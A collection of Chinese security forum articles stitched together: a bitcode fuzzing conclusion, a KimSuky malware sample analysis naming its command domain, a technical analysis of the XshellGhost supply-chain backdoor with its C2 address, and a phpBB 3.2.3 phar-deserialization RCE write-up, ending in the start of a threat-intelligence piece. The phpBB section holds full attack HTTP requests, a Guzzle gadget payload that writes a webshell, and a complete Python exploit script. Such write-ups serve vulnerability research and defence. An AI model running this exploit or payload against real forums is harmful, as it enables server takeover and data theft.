对 clang 中的Bitcode 到 Object 的功能进行模糊测试,也是采用变异的方法生成测试数据。
测试结果
通过对 clang 的 Fuzz 我们发现了一些堆损坏相关的问题。
**总结**
1.The Xcode 7 bitcode feature has opened a huge attacking surface, Apple
should do something to narrow it, for example: checking the bitcode is
identical to the related MachO file.
2.在上文中我们详细介绍了所考虑到的攻击面,及针对每个攻击面的测试思路,希望这些对大家研究 Bitcode 相关的攻击面及安全性有帮助。
**参考资料**
[1] [What’s New in
Xcode](https://developer.apple.com/library/ios/documentation/DeveloperTools/Conceptual/WhatsNewXcode/Articles/xcode_7_0.html)
[2] [LLVM Bitcode File Format](http://llvm.org/docs/BitCodeFormat.html) | 社区文章 |
此次文章参考安全客doash123
样本hash：ae986dd436082fb9a7fec397c8b6e717
app.any.run地址：<https://app.any.run/tasks/c5066e3d-974b-499a-971f-954dbf2d5c5d/>
一、样本简介及行为检测
样本伪装成了eset的升级程序
图标如下
由于再分析之初对样本行为不太清楚，这里需要用到相应的行为检测工具，此类工具有火绒剑，systracer，Procmon，Sysmon等，这里我们采用火绒剑来看下，具体步骤
然后双击运行样本即可开启对相应样本的监视，程序运行后界面如下
我们看到该程序的这里火绒剑标记为了蓝色，这里完成了程序的释放、自拷贝、开机自启动这些操作。
相关网络请求如下
可以看到该样本与general-second.org-help.com/dl_ex1.png?m=701CE78EC02D&NOTE=Ni4xIDogOS45fDV8djEuMAo= 进行了一系列交互
通过奇安信的威胁情报平台（<https://ti.qianxin.com）查询可以看到关于该域名的相关信息>
行为总结：
1、 样本在C:\Users\用户\AppData\Roaming\ 执行释放自拷贝 自启动的行为
2、 样本会与恶意域名general-second.org-help.com进行交互
二、Pe结构和ida分析
我们借用peid查看下pe信息如下，
我们利用peid的Krypto ANAlyzer插件查看下文件的加密信息，里面大概有两种加密
Base64和crc32加密
并且利用peid未发现该样本加壳信息，我们直接拖进ida进行分析，程序会默认停留在winmain函数处，winmain函数内部有如下几个函数，
CreateMutexA（win32api）
GetLastError（win32api）
CloseHandle（win32api）
sub_4011E0（自定义函数）
sub_403600（自定义函数）
sub_401580（自定义函数）
sub_401770（自定义函数）
sub_402790（自定义函数）
CreateThread（win32api）
函数功能分析：
CreateMutexA、GetLastError分别为创建相关进程对象和探测本地用户组情况;
sub_4011E0为加载dll和相关字串解密获取相关api函数地址;
sub_403600为文件的自拷贝和自启动等操作;
sub_401580为获取当前环境变量设置;
sub_401770 为判断系统版本 内存拷贝;
sub_402790注册表操作;
CreateThread创建相关网络请求进程；
下面我们看下相关函数的具体实现，（除部分win32api）,
sub_4011E0
该函数为加载dll和相关字串解密获取相关api函数地址，函数内部调用sub_401040对传入字串进行解密处理，具体操作为将加密字串-5即可，然后加载kenel32.dll利用getprocaddress函数来获取api函数地址，相关功能部分截取如下
总结：函数内部使用了特定解密函数sub_401040来处理加密字串，加载三个dll文件分别为WININET.dll、urlmon.dll、kennel32.dll、通过getproaddress函数获取相关api地址
sub_403600
该函数内部功能为文件自拷贝，自启动设置，程序弹窗设置，
程序首先通过SHGetFolderPathA函数获取自启动文件夹C:/Documents and Settings/当前用户/Application
Data；
通过GetModuleFileNameA获取当前程序运行的直接路径
Strcmp判断当前执行文件夹是否等于C:/Documents and Settings/当前用户/Application
Data；，如果相同，通过copyfile将文件拷贝到C:/Documents and Settings/当前用户/Application
Data下，然后通过向注册表SOFTWARE\Microsoft\Windows\CurrentVersion\Run加入eset_update值，达到自启动的目的。
sub_401580
此部分主要功能为获取本机网卡信息和执行获取磁盘序列号，以及随机数的生成，通过GetAdaptersInfo获取网卡配置和ip信息，后又通过GetVolumeInformationA来获取磁盘序列号，最后通过GetTickCount来生成随机数，具体功能如下：
sub_401770
该函数主要为获取系统版本信息的获取和操作系统的位数，通过GetVersion函数获取相关系统版本信息，然后通过GetNativeSystemInfo,格式化一下，然后做数学运算，具体实现如下。
sub_402790
函数为注册表信息的修改，主要就是对XhwjjsWnggtsxItrfns和XTKY\FWJaRnhwtxtkya\nsit|xaHzwwjsy[jwxntsaXhwjjsxf{jwx解密后做拼接，然后将存储在qword_41A620处的恶意url写入注册表内，该恶意url为general-second.org-help.com，内部功能如下
CreateThread
针对该样本的分析，在完成上述的一部分函数分析时已经有了一些初步的的认识，我们到新进程StartAddress内来继续分析下，StartAddress开头部分函数分析如下
我们跟下sub_932F30为网络请求设置
请求头为Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.3112.101 Safari/537.36,gzip(gfe),gzip(gfe)",
94A7A0:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/60.0.3112.101 Safari/537.36,gzip(gfe),gzip(gfe)
这部分程序流程比较直接看下sub_931AA0这里，首先样本会对特定字串进行解密
这里程序加载了一个rundll32.exe文件，但缺失该文件的相关行为说明，可能需要进行动态调试进行查看，我们继续向下走，通过动态调试看到
程序会获取C:\Users\用户\AppData\Local\Temp\相关文件下，然后将tmp.LOG与该文件夹进行拼接。向下走看到
这里会对文件名进行一个分割添加动物后缀，然后修改SOFTWARE\Microsoft\Windows\CurrentVersion\Run和SOFTWARE\Microsoft\Windows\CurrentVersion\Screensavers\ScreenRibbonsDomain两个参数达到自启动和修改屏保属性的目的
这里会根据文件后缀的判断结果，如果为包含有tiger接受相应的命令参数，然后通过cmd执行
样本行为总结
1、 样本通过sub_4011E0调用解密函数解密一部分关键api,加载了WININET.dll、urlmon.dll、
kennel32.dll，并通过GetProcAddress函数获取相应函数地址，函数如下InternetOpenA、InternetCloseHandle、InternetConnectA、HttpOpenRequestAHttpSend、RequestAURLDownloadToFileA、DeleteUrlCacheEntryA、WinExec、CreateToolhelp32Snapshot、InternetReadFile、InternetQueryDataAvailable。
2、 通过sub_403600函数实现文件自拷贝，自启动设置，程序弹窗设置。
3、 通过sub_401580获取主机网卡和ip信息。
4、 通过sub_401770获取系统版本信息的获取和操作系统的位数。
5、 通过sub_402790修改注册表写入恶意url。
6、 通过sub_931AA0实现相关的远程注入。
7、 该样本代码中加入了一系列动物名称，例如tiger、wolf等，属于KimSuky家族系列。
个人体会
样本分析中动静态分析跑飞了好多次，由于自己对一部分关键点把控不是很准确，另外利用这次分析巩固了x64dbg的调试技巧，收获还是不错的。
参考连接：
1、<https://www.anquanke.com/post/id/208525#h2-12>
2、<https://blog.csdn.net/m0_37312808/article/details/77891372?utm_source=blogxgwz9> | 社区文章 |
# 【权威发布】360追日团队：Xshellghost技术分析——入侵感染供应链软件的大规模定向攻击
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**
**
****
**
**
**概述**
****
近日，NetSarang旗下的Xmanager、Xshell、Xftp和Xlpd等在全球流行使用的服务器远程管理软件曝出被多家杀毒软件报毒查杀的情况，经过360科技集团追日团队调查分析确认，NetSarang旗下多款软件的关键模块被植入了高级后门，这是一起入侵感染供应链软件的大规模攻击事件，我们将其命名为“XshellGhost”（xshell幽灵）。
**事件时间轴**
2017年7月17日，NetSarang公司发布旗下多款产品的新版软件，更新修复多处bug和增强了会话加密能力，用于对抗CIA木马“BothanSpy”的密码劫持功能。
2017年8月7日，NetSarang与卡巴斯基发布联合声明，声称7月18日发现软件存在安全漏洞被攻击。
2017年8月15日，NetSarang与卡巴斯基更新联合声明，发现在香港利用该软件漏洞的案例。
**攻击形式**
NetSarang系列软件的关键网络通信组件nssock2.dll被植入了恶意代码，厂商在发布软件时并未发现恶意代码，并给感染组件打上了合法的数字签名随新版软件包一起发布，用户机器一旦启动软件，将会加载组件中的恶意代码，将主机的用户信息通过特定DGA(域名生成算法)产生的DNS域名传送至黑客的远程命令控制服务器，同时黑客的服务器会动态下发任意的恶意代码至用户机器执行。
**攻击影响面**
使用被感染的软件的用户，将会被黑客窃取用户信息，并在云端下发任意的恶意代码进行远程控制，由于该系列软件在国内的程序员和运维开发人员中被广泛使用，多用于管理企事业单位的重要服务器资产，所以黑客极有可能进一步窃取用户所管理的服务器身份验证信息，秘密入侵用户相关的服务器，请相关软件用户和企事业单位提高警惕。
**XshellGhost技术分析**
“XshellGhost”（xshell幽灵）是一个精密的定向攻击平台，所有的功能模块实现均为shellcode形式，客户端攻击通过感染供应链软件和各个shellcode模块，实现了无自启动项、无落地文件和多种通信协议的远程控制，后门潜伏于受害者电脑等待黑客在云控制平台下发shellcode数据执行，黑客在云端甚至可能通过上传的用户信息进行选择性的定向攻击。
**远程控制逻辑分析**
XshellGhost的远程控制主要分为5个步骤：
1.软件启动加载被感染组件nssock2.dll，解密shellcode1执行。
2.Shellcode1解密Shellcode2执行如下功能：
a)创建注册表项，上报数据到每月对应的DGA域名当中；
b)通过发往知名的域名解析器当中上传用户信息给攻击者；
c)将接收的数据写入到创建的注册表项当中；
d)通过获取的key1和key2解密Shellcode 3并执行；
3\.
Shellcode3会创建日志文件并写入信息,启动系统进程Svchost.exe，修改其oep处的代码，并注入shellcode形式的Root模块执行。
4\.
Root模块的初始化过程中，会加载并初始化Plugins、Config、Install、Online和DNS等功能模块，然后调用函数Install->InstallByCfg以获取配置信息，监控注册表并创建全局互斥体，调用Online->
InitNet；
5\. 函数Online-> InitNet会根据其配置初始化网络相关资源，向指定服务地址发送信息，并等待云端动态下发代码进行下一步攻击。
**初始加载模块分析**
此次攻击的所有模块调度加载实现方式都是通过shellcode形式，采用了模块化的方法进行统一管理。每个Shellcode的入口函数都会根据传入的第2个参数的数值决定将其具体要执行的功能，参数数值和对应的功能列表如下所示：
根据Shellcode编号102、103和104所对应的功能，可以获取每个Shellcode的信息列表：
关键的网络通信模块，除DNS协议通信，此后门还会利用其他5种网络协议进行远程控制。
**基础管理模块分析**
Root模块是该次攻击的基础管理模块，其它各个模块的功能的展开和运行都依赖于Root模块提供的函数接口列表：
Root模块的初始化逻辑如下图所示：
**插件功能模块分析**
Plugins模块为其他插件提供接口，包括读写注册表指定字段的加密数据，加载DLL等，以及监控注册表指定字段变化并将其数据解密作为插件加载：
在调用Install模块的InstallByCfg函数时，会调用Plugins模块的MonitorRegLoadShellCode函数。该函数负责监控注册表指定key，如果key值被改变，该函数将会读取注册表中的数据并调用Root模块的LoadAndInsertShellcodeEx函数将其加载。
如果网络控制端下发调用Plugins模块的OpByCmd函数的指令，将会设置其注册表指定key的数据，过后MonitorRegLoadShellCode函数将会监控到key值发生改变，读取注册表数据动态加载下发的Shellcode代码。
**C &C配置模块分析**
配置模块Config主要负责管理当前机器当中的配置文件以及对应机器的ID：
该模块包含了一个大小最大为0x858的配置数据块，其中配置数据块是从文件中读取的，文件位置是由该模块的第三个函数RandomStr提供
随机串生成的过程跟系统的卷序列号相关，所以在不同的机器上其位置并不相同。但是其有固定的格式，RandomStr均为大写字母：
**%ALLUSERSPROFILE%RandomStr RandomStr RandomStr RandomStr**
配置信息是加密存储在配置文件中的，通过调用该模块的接口函数，可以获取解密后的配置文件，配置数据块的结构如下：
配置块的头部是一个OffsetTable，其中记录了各项配置串相对于EncryptStringStub的偏移，
目前已知的配置位置：
OffsetTable[8]配置块0x10要注入的进程路径
OffsetTable[0xC]配置块0x18CC URL地址和CC类型
原始串的前2个字节为本串加密的Key，之后通过解密函数解密获取解密后的串，所以解密后的串长度要比原始串的长度少2。经分析还原的解密函数如下：
通过对程序自身的配置文件进行分析：
注入程序路径，加密前的字符：
x1FxE5x3Ax86xF4x31xFFxB8x9Fx64x81x96xAAxC4xB1xF0x02x5ExC5xB1x3ExAFx98x19xF6x00x21x39x20xC5xC4x39
解密后： **%windir%system32svchost.exe**
CC远程命令控制服务器的 URL，加密前的串：
x7Bx3Cx1Fx9Fx7Ex01xA0x08xF0xF6x1Cx7Fx71x60xBDx63x66x95x7BxE6x62x4CxB3
解密后： **dns://www.notped.com**
DNS查询地址：
8.8.8.8
8.8.4.4
4.2.2.1
4.2.2.2
**代码注入模块分析**
主体代码注入模块Install，负责将Root模块代码注入到指定的进程当中，以及调用Online模块的相关初始化工作：
函数InstallByCfg的逻辑如下所示：
**功能A：**
1、调用Plugins的MonitorRegLoadShellCode函数，创建并监控指定注册表键,读取注册表数据加载shellcode执行；
2、调用Config的RandomStr函数获取字符串，用来创建全局互斥体
a)如果全局互斥体已存且Root的Op数值为3，结束自身进程。
b)调用 Online的 InitNet，初始化网络模块
**功能B：**
1、调用Plugins的MonitorRegLoadShellCode函数，打开并监控指定注册表键, 读取注册表数据加载shellcode执行；
2、查询Shellcode 106，如果不存在，则休眠1秒继续查询
3、调用Shellcode 106的第2个接口函数
**功能C：**
1、调用Config的函数GetCfgCon获取配置文件中保存的Pe路径
2、启动Pe，修改Oep处的代码，注入Shellcode Root
a)如果失败，则创建线程调用功能A
b)如果成功，则结束自身
**网络通信模块分析**
Online模块是本次攻击的网络通信管理模块，在本次攻击事件当中我们已经发现了DNS模块，其它几个网络模块（TCP、HTTP、UDP、HTTPS、SSL）虽然在代码当中有所体现，但是在shellcode当中尚未主动运行，各个网络模块的函数接口及其作用如下表所示：
各个网络模块的功能的展开和运行依赖于Online模块提供的函数接口列表：
InitNet在读取网络代理配置以后每隔1秒调用功能A，如果功能A返回20000，则函数彻底结束，功能A逻辑：
功能B逻辑，用于等待云端下发代码执行：
此次攻击已知使用的通信模块是DNS模块，该后门基于DNS隧道技术进行通信：
该模块发送的数据包有3种类型：
1.初始化数据包，大小为0x18
2.Data数据包，大小0x8+
3.关闭数据包， 大小0x8
其发送函数如下：
在调用DNS模块2号函数返回自定义对象时，其调用了GetAdaptersAddresses获取适配器的DNS
最多收集0x10个DNS，随后在调用该模块第3号函数时，其使用收集到的DNS，合并Config文件中的4个DNS地址，循环往每一个DNS发送查询，等到到任何一个返回数据，或者超时，并记录下第一个返回应答的DNS数据包，以后再次发送的时候，只会给第一个返回应答的DNS发送数据。
在发送数据包时，会将数据嵌套到DNS协议中发送，其中数据会编码成特定的字符串，添加在要配置文件中的CC DNS URL前，实现DNS隧道通讯。
**总结**
****
通过技术分析，我们发现“XshellGhost”（xshell幽灵）是一整套复杂的模块化的精密木马病毒，这是一起黑客入侵供应链软件商后进行的有组织有预谋的大规模定向攻击，我们仍将会持续关注此次攻击的进一步发展，建议广大用户使用360安全卫士查杀“XshellGhost”（xshell幽灵）木马病毒和防御供应链软件攻击。
**360追日团队（Helios Team）**
****
360 追日团队（Helios
Team）是360科技集团下属的高级威胁研究团队，从事APT攻击发现与追踪、互联网安全事件应急响应、黑客产业链挖掘和研究等工作。团队成立于2014年12月，通过整合360公司海量安全大数据，实现了威胁情报快速关联溯源，独家首次发现并追踪了三十余个APT组织及黑客团伙，大大拓宽了国内关于黑客产业的研究视野，填补了国内APT研究的空白，并为大量企业和政府机构提供安全威胁评估及解决方案输出。
**已公开APT相关研究成果**
**联系方式**
邮箱： **360zhuiri@360.cn**
微信公众号：360追日团队
扫描上面二维码关注微信公众号 | 社区文章 |
phpBB™ 已经成为世界上应用最广泛的开源论坛软件
在phpBB
v3.2.3及以前的版本中，控制管理面板设置路径的`$_REQUEST['config']`参数过滤不严格，和不严谨的`switch`语句，引发获取webshell的严重安全问题。
# 漏洞简介
攻击者若通过社工，弱口令，钓鱼等方式拥有控制管理面板权限，可先前台上传恶意附件，再进入后台控制管理面板利用设置中对路径的验证的功能，结合PHP phar
反序列化进行php对象注入，构造可用的恶意攻击链，获取Webshell。
# 漏洞条件
* phpBB v3.2.3及以前的版本
* 进入控制管理面板的权限
# 漏洞详情
## 漏洞关键
先看触发php phar反序列化漏洞的核心代码如下：
文件位置：`phpBB3/includes/functions_acp.php::validate_config_vars`
通过`file_exists`函数判断`$path`是否存在，此处若可以被我们上传PHAR归档包，文件路径若被我们可知可控，就可以通过`phar://`协议进行反序列化攻击。
## 漏洞分析
### 触发点分析
首先是载入的时候调用`acp_attachments->main()`方法
文件位置：`phpBB3/includes/acp/acp_attachments.php`
关键函数为`validate_config_vars`函数，第一个参数为`$display_vars['vars']`来自上文的系统配置定义：
第二个参数通过`$_REQUEST`接收，post发送数组参数`config`，被赋值成为`$cfg_array`
两个参数传入`validate_config_vars`函数，继续跟进。
文件位置：`phpBB3/includes/functions_acp.php`
进入函数后使用`foreach`对`$config_vars`进行遍历，键名为`$config_name`，键值为`$config_definition`。
先对`$cfg_array`进行判断，也就是post数组中必须有和系统配置数组相同的键名的数组；然后又对键值的判断是否存在`$config_definition['validate']`。两个条件需要同时满足，不满足就跳过此变量循环，存在就对`$config_definition['validate']`进行分割为数组，并取第0个参数传进`switch`进行匹配，可以发现利用点在`wpath`分支里：
满足上文两条件并且`$validator[$type]==wpath`才能进入分支，对系统配置数组进行筛选，暂时发现只有键名为`upload_path`的数组满足条件。
但是在进入路径判断前有一个三元运算
$path = in_array($config_definition['validate'], array('wpath', 'path', 'rpath', 'rwpath')) ? $phpbb_root_path . $cfg_array[$config_name] : $cfg_array[$config_name];
经过判断`$config_definition['validate']`在数组之中，所以会走第一个分支，`$cfg_array[$config_name]`就是post数组变量，此处可控，但是会和`$phpbb_root_path`进行拼接。
文件位置：`phpBB3/adm/index.php`
因此拼接后的`$path`会变成`./../xxxxxxxxxx`，路径出错无法利用，如下。
但是这里的整个`switch`语句犯了一个较为低级的错误，部分条件的语句段没有使用`break`进行结束。
`switch`执行方式：开始时没有代码被执行。仅当一个 `case`语句中的值和 `switch`表达式的值匹配时 PHP
才开始执行语句，直到`switch`的程序段结束或者遇到第一个`break` 语句为止。如果不在`case`的语句段最后写上`break`的话，PHP
将继续执行下一个`case`中的语句段。
因此需要在`$config_vars`找到一个元素`$config_definition`，并且`$config_definition['validate']`等于`absolute_path`或者`absolute_path_writable`或者`path`，这样就能即进入`wpath`执行也不增加`$path`的前缀
使用如下代码过滤：
foreach ($display_vars['vars'] as $key =>$value){
if (($value['validate'] === 'absolute_path') or ($value['validate'] === 'absolute_path_writable') or ($value['validate'] === 'path')){
print('66'.$key.'77');
}
}
发现`img_imagick`元素满足条件：
进入控制面板的附件设定，提交并该修改数据包
数据包如下，关键点为`config[img_imagick]`参数：
POST /phpBB3/adm/index.php?i=acp_attachments&mode=attach&sid=385d5172c29a3a9530d6b467a5691ffd HTTP/1.1
Host: bugtest.com
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 967
config%5Ballow_attachments%5D=1&config%5Ballow_pm_attach%5D=0&config%5Bupload_path%5D=files&config%5Bdisplay_order%5D=0&config%5Battachment_quota%5D=50&attachment_quota=mb&config%5Bmax_filesize%5D=256&max_filesize=kb&config%5Bmax_filesize_pm%5D=256&max_filesize_pm=kb&config%5Bmax_attachments%5D=3&config%5Bmax_attachments_pm%5D=1&config%5Bsecure_downloads%5D=0&config%5Bsecure_allow_deny%5D=1&config%5Bsecure_allow_empty_referer%5D=1&config%5Bcheck_attachment_content%5D=1&config%5Bimg_display_inlined%5D=1&config%5Bimg_create_thumbnail%5D=0&config%5Bimg_max_thumb_width%5D=400&config%5Bimg_min_thumb_filesize%5D=12000&config%5Bimg_imagick%5D=phar://../files/plupload/c2f830acec21b6d3a45ff0f5b3f35273_5de5caf862ea58bbb27aff231f06c7f3zip.part/&config%5Bimg_max_width%5D=0&config%5Bimg_max_height%5D=0&config%5Bimg_link_width%5D=0&config%5Bimg_link_height%5D=0&submit=Submit&ips=&ipexclude=0&creation_time=1552465991&form_token=0910a5dc9a13fc50a0ead4656617642fa80daaf1
此时已经可以触发反序列化，还需上传包含利用链的恶意附件。
### 上传恶意附件
上传位置为前台发帖附件处:
处理文件上传的关键函数，以及函数调用栈：
文件位置：phpBB3/phpbb/plupload/plupload.php
在这里函数handle_upload可以实现多个`chunk`处理。`$this->request->variable`函数根据键名从请求中获取值，首先获取`chunks`的值，并判断`chunk`是否小于2，如果小于就直接返回，如果大于就开始进行多`chunk`处理。
然后进入关键的`temporary_filepath`函数：
这个就是计算上传文件路径的函数，`$this->temporary_directory`可知为`./files/plupload`，`$file_name`可控，`\phpbb\files\filespec::get_extension($file_name)`获取文件的后缀同样可控，比较麻烦的是`$this->config['plupload_salt']`存在于数据库中，但可以在管理面板中通过备份进行获取。
`plupload_salt`如下
此时已经完全可以计算路径
./files/plupload/c2f830acec21b6d3a45ff0f5b3f35273_5de5caf862ea58bbb27aff231f06c7f3zip
然后进入函数进行文件写入
中途会产生一个临时文件，但后面会删除，最后文件名还会增加`.part`后缀。
./files/plupload/c2f830acec21b6d3a45ff0f5b3f35273_5de5caf862ea58bbb27aff231f06c7f3zip.part
攻击数据包如下：
POST /phpBB3/posting.php?mode=post&f=2&sid=a3f8b226bd4ad508d8838284c0cfc332 HTTP/1.1
Host: bugtest.com
Content-Length: 1909
Origin: http://bugtest.com
x-requested-with: XMLHttpRequest
x-phpbb-using-plupload: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuHMhmTMPyBMwbiEg
Accept: */*
Referer: http://bugtest.com/phpBB3/posting.php?mode=post&f=2&sid=52c63bf06fdeaef60de9b8fba1de97ad
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="name"
rai4over.zip
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="chunk"
0
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="chunks"
3
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="add_file"
Add the file
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="real_filename"
payload.phar.zip
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="attachment_data[0][attach_id]"
16
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="attachment_data[0][is_orphan]"
1
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="attachment_data[0][real_filename]"
payload.zip
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="attachment_data[0][attach_comment]"
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="attachment_data[0][filesize]"
35802
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="fileupload"; filename="payload.phar.zip"
Content-Type: application/zip
<?php __HALT_COMPILER(); ?>
ÕO:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:42:"/Applications/MAMP/htdocs/phpBB3/shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:18:"<?php phpinfo();?>";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}test.txtöì\
~ضtest¨~ê÷z]©äg4GBMB
------WebKitFormBoundaryuHMhmTMPyBMwbiEg--
至此我们已经对上传文件路径内容可知可控，还恶意文件中的利用链。
### 利用链
利用PHP网络请求插件Guzzle完成反序列化利用。
文件位置：`phpBB3/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php`
析构函数调用`save`函数，最后使用`file_put_contents`完成文件写入，整个漏洞利用完成。
## 利用脚本
# coding =utf-8
import requests
from bs4 import BeautifulSoup
import re
proxies = {
"http": "http://127.0.0.1:8080",
}
import hashlib
def md5(str):
m = hashlib.md5()
m.update(str.encode("utf8"))
return m.hexdigest()
if __name__ == '__main__':
target = "http://bugtest.com/phpBB3"
admin_account = 'admin'
admin_pwd = '123456'
phar_payload = 'payload.phar.zip'
upfilename = 'rai4over.zip'
r = requests.Session()
data = {
'username': admin_account,
'password': admin_pwd,
'login': 'Login'
}
print('Start logging in to the administrator account')
rs = r.post(target + '/ucp.php?mode=login', data=data)
html = rs.text
if ('header-profile dropdown-container' in html) and ("class=\"username-coloured\">" + admin_account in html):
print('OK! The administrator account is successfully logged in')
else:
exit('No! Login failed . Probably because of the verification code')
soup = BeautifulSoup(html, "html.parser")
input = soup.find('input', attrs={'name': 'sid'})
sid = input['value']
file = {
'fileupload': open(phar_payload, "rb").read()
}
data = {
'name': upfilename,
'chunk': 0,
'chunks': 3,
'add_file': 'Add the file',
'real_filename': 'payload.phar.zip'
}
rs = r.post(target + '/posting.php?mode=post&f=2&sid=' + sid, files=file, data=data)
if 'jsonrpc' not in rs.text:
exit('Upload fail')
else:
print('Uploading malicious file successfully')
Admin_Control = target + '/adm/index.php?sid=' + sid
print("Get Administration Control Panel URL ：" + Admin_Control)
rs = r.get(Admin_Control)
html = rs.text
soup = BeautifulSoup(html, "html.parser")
input = soup.find('input', attrs={'type': 'password'})
passwd_id = input['id']
credential = soup.find('input', attrs={'name': 'credential'})
credential = credential['value']
data = {
'username': admin_account,
passwd_id: admin_pwd,
'login': 'Login',
'redirect': './../adm/index.php',
'credential': credential
}
rs = r.post(target + '/adm/index.php?sid=' + sid, data=data)
html = rs.text
if '<title>ACP index</title>' in html:
print('Administration Control Panel login successful')
soup = BeautifulSoup(html, "html.parser")
div = soup.find('div', attrs={'id': 'page-header'})
sid = div.a['href'][-32:]
rs = r.get(target + '/adm/index.php?i=acp_database&mode=backup&sid=' + sid)
html = rs.text
soup = BeautifulSoup(html, "html.parser")
input = soup.find('input', attrs={'name': 'form_token'})
form_token = input['value']
input = soup.find('input', attrs={'name': 'creation_time'})
creation_time = input['value']
data = "type=data&method=text&where=download&table%5B%5D=phpbb_config&submit=Submit&creation_time={creation_time}&form_token={form_token}".format(
creation_time=creation_time, form_token=form_token)
rs = r.post(target + '/adm/index.php?i=acp_database&mode=backup&action=download&sid=' + sid, data=data,
headers={"Content-Type": "application/x-www-form-urlencoded", "Connection": "close",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"})
html = rs.text
if 'phpBB Backup Script' in html:
print('Database download succeeded')
matchObj = re.search(r"\('plupload_salt', '(.*?)', 0\)", html, re.M | re.I)
if matchObj:
plupload_salt = matchObj.group(1)
print('Get the plupload_salt successfully ：{plupload_salt}'.format(plupload_salt=plupload_salt))
else:
exit('Get the plupload_salt failed')
else:
exit('Database download failed')
print('Calculate the name of the phar')
name = "{plupload_salt}_{md5name}zip.part".format(plupload_salt=plupload_salt, md5name=md5(upfilename))
rs = r.get(target + '/adm/index.php?i=acp_attachmenpartts&mode=attach&sid=' + sid)
html = rs.text
soup = BeautifulSoup(html, "html.parser")
input = soup.find('input', attrs={'name': 'form_token'})
form_token = input['value']
print("Get form_token from Attachment settings：{form_token}".format(form_token=form_token))
data = "config%5Ballow_attachments%5D=1&config%5Ballow_pm_attach%5D=0&config%5Bupload_path%5D=files&config%5Bdisplay_order%5D=0&config%5Battachment_quota%5D=50&attachment_quota=mb&config%5Bmax_filesize%5D=256&max_filesize=kb&config%5Bmax_filesize_pm%5D=256&max_filesize_pm=kb&config%5Bmax_attachments%5D=3&config%5Bmax_attachments_pm%5D=1&config%5Bsecure_downloads%5D=0&config%5Bsecure_allow_deny%5D=1&config%5Bsecure_allow_empty_referer%5D=1&config%5Bcheck_attachment_content%5D=1&config%5Bimg_display_inlined%5D=1&config%5Bimg_create_thumbnail%5D=0&config%5Bimg_max_thumb_width%5D=400&config%5Bimg_min_thumb_filesize%5D=12000&config%5Bimg_imagick%5D={upfile}&config%5Bimg_max_width%5D=0&config%5Bimg_max_height%5D=0&config%5Bimg_link_width%5D=0&config%5Bimg_link_height%5D=0&submit=Submit&ips=&ipexclude=0&creation_time=1552465991&form_token={form_token}".format(
form_token=form_token,
upfile='phar://../files/plupload/' + name)
rs = r.post(target + '/adm/index.php?i=acp_attachments&mode=attach&sid=' + sid, data=data)
print('Get webshell succeeded')
参考链接:
* [phpBB 3.2.3: Phar Deserialization to RCE](https://blog.ripstech.com/2018/phpbb3-phar-deserialization-to-remote-code-execution/) | 社区文章 |
### Author:elknot@360corpsec
### 前言
事情是这样的，之前有很多朋友留言和私聊问我你搞威胁情报这么长时间了，有没有什么好用的姿势来让威胁情报真真正正的为企业安全发挥点作用。我个人觉得吧，威胁情报这个东西就目前看来还上升不到决策的程度，仅仅作为安全运营态势感知的一种补充数据，用来减少日常安全数据运营的盲区，尽可能的发现更多看不见的威胁。所以说怎么样运用才是王道，接下来给大家说一下威胁情报如何真正的在安全运营中应用。
啰嗦几句：下文中提供的数据接口皆为免费/开源/可用次数免费，大家可以放心使用。
### 0x00 威胁情报种类和作用：
按照传统的分法来看，威胁情报分为战术情报、战略情报和运营情报三个部分，详情我在DEFCON
GROUP上也分享过威胁情报的分类，有需要的朋友可以去翻翻。在这里我想说的是另一种分类方式。重点说这么几类情报类型：
>IP/Domain 信誉类情报
网络通信流量数据
事件分类（Incident Pulse）数据
蜜罐数据
被动流量解析（Passive DNS）数据
我们一个一个来说：
#### IP/Domain 类信誉类情报：
其实就是所谓的信誉库，国内的360威胁情报中心、微步在线，国外的RiskIQ
Community这些都可以查到IP信誉类的数据。IP信誉类的数据可以让我们了解这个IP是不是一个恶意的IP、他是一个怎么样的IP、是不是被人家攻陷了的IP，这类数据可以让我们快速的知道触发IDS/WAF的IP或者是域名是不是一个很危险的域名，可以帮我们去大概了解情况。这对我们来说是个好消息，但是坏消息是，这些数据有可能不准，同一个IP的位置、接入方式、标记很有可能在不同的威胁情报平台上有着不同的结果。
#### 网络流量通信数据：
